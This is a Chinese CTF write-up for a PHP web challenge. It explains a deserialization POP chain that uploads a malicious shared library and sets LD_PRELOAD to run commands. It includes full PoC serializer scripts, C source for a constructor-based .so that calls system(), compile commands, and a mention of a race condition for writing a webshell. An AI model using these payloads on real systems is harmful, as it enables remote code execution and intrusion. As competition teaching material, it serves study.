2024春秋杯夏季赛Hijack_wp(详细讲解)

2024春秋杯夏季赛web Hijack 详细小白WP

这道题考察的是php反序列化的pop链结合LD_PRELOAD劫持(非预期解是条件竞争)

下面是比赛源码

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{
    $pattern = array('\'', '"','%','\(','\)',';','bash');
    $pattern = '/' . implode('|', $pattern) . '/i';
    if(preg_match($pattern,$a)){
        die("No injecting!!!");
    }
    return $a;
}
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }

}
class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
}
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}
$c = $_POST['Harder'];
unserialize($c);

?> 

一、首先先审题

首先看到的 cat /flag ,但是下面的echo 直接说我们stupid,多半是假的。
public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }
然后又看到一条hint.txt 以及设置ld环境变量的命令,基本可以确定是ld劫持命令了(看了hint.txt也可以确认劫持cat系统命令)。LD_PRELOAD劫持(超详细篇)_ld环境变量劫持-CSDN博客这条博客讲的挺好
public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
但是ld劫持需要先引用一个动态链接库,正好下面有一个文件上传的接口
public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
这串代码首先检查了文件后缀名是否存在如果有,定义了一个上传的目录位置/tmp,没有/tmp目录就创建一个,然后将base64的文件数据写入一个以时间戳的md5值为名的文件中放入/tmp目录中,我们可以依靠这串代码写入我们的.so恶意动态链接库,所以我们只需要定义 v a l u e 和 value和 valuefilename属性就可以操控上传文件

二、分析pop链(文件上传链)

确认了方向就开始分析这条pop链,一共需要2条,一条上传文件的pop链,一条设置ld环境的pop链,首先先讲上传文件的pop链。
1.我比较喜欢倒推法,从结果到出发点,第一步要出发的是文件上传处__call方法,它的触发条件是调用一个不存在的方法,FUN类下的—__get方法明显符合我们的条件,让$fun=new FILE();
class FUN{
    public $fun;
    public $value;
    public function __get($name)
    {
        $this->fun->getflag($this->value);
    }
}
2.如果我们要触发__get方法就需要调用的成员属性不存在,那么DIFF类里的 isset方法就是触发点。让callback=new FUN();
class DIFF{
    public $callback;
    public $back;
    private $flag;

    public function __isset($arg1)
    {
        system("cat /flag");
        $this->callback->p;
        echo "You are stupid, what exactly is your identity?";

    }


3.想要触发__isset方法需要对不可访问的属性使用isset()或empty()。ENV类wakeup方法就可以触发。使 m a t h = n e w D I F F ( ) ; ( 因为 D I F F 类内 math=new DIFF();(因为DIFF类内 math=newDIFF();(因为DIFF类内flag属于私有变量,只允许内部访问,所以可以触发)

class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }
    public function __wakeup()
    {
        if (isset($this->math->flag))
        {
            echo getenv("LD_PRELOAD");
            echo "YesYes";
        } else {
            echo "YesYesYes";
        }
    }
}

4.那么__wakeup魔术方法真是耳熟能详,他在反序列化unserialize($c)触发前触发,至此,pop链成功

$c = $_POST['Harder'];
unserialize($c);

下面是完整poc

<?php
class ENV{
    public $key;
    public $value;
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

}
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->fun=new FILE();
$a->math->callback->value='';     //这里写入文件base64的内容
$a->math->callback->fun->filename='cat.so'; //随便取反正会重命名
echo urlencode(serialize($a));

?> 

三、分析pop(设置环境变量链)

1. 同样步骤,确认终点找起点。我们只需要定义, k e y 和 key和 keyvalue变量即可控制环境变量
class ENV{
    public $key;
    public $value;
    public $math;
    public function __toString()
    {
        $key=filter($this->key);
        $value=filter($this->value);
        putenv("$key=$value");
        system("cat hints.txt");
    }

2.要触发tostring()需要将对象当作字符串处理,那我们可以发现上一条链子中__call方法中filename属性被当作了字符串,我们只需要将$filename = new ENV();即可将上一条链子直接拿过来用。

class FILE{
    public $filename;
    public $enviroment;
    public function __get($arg1){
        if("hacker"==$this->enviroment){
            echo "Hacker is bad guy!!!";
        }
    }
    public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {    //这里filename被当作了字符串调用
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }

3.直接放poc

<?php
class ENV{
    public $key="LD_PRELOAD";
    public $value='666';      //这里输入你们上传的.so文件位置
    public $math;
}
class DIFF{
    public $callback;
    public $back;
    private $flag;

}
class FILE{
    public $filename;
    public $enviroment;
}
class FUN{
    public $fun;
    public $value;
}
$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FUN();
$a->math->callback->fun=new FILE();
$a->math->callback->fun->filename=new ENV();
echo urlencode(serialize($a));
?> 

三、编译动态链接库

1.命名为exp.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("ls /");   //这里输入你想执行的命令
}

2.下面编译exp.c为3.so文件
gcc -fPIC -shared -o 3.so exp.c -nostartfiles

3.然后用base64输出文件的base64编码值写入到poc中

base64 3.so

记得自行去掉其中的\r\n
4.最后成功执行ls /系统命令

请添加图片描述

四、条件竞争(非预期解)

1、可以通过条件竞争强行写进php一句话马

public function __call($function_name,$value)
    {
        if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {
            $uploadDir = "/tmp/";
            $destination = $uploadDir . md5(time()) . $matches[0];
            if (!is_dir($uploadDir)) {
                mkdir($uploadDir, 0755, true);
            }
            file_put_contents($this->filename, base64_decode($value[0]));
            if (rename($this->filename, $destination)) {
                echo "文件成功移动到${destination}";
            } else {
                echo '文件移动失败。';
            }
        } else {
            echo "非法文件名。";
        }
    }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值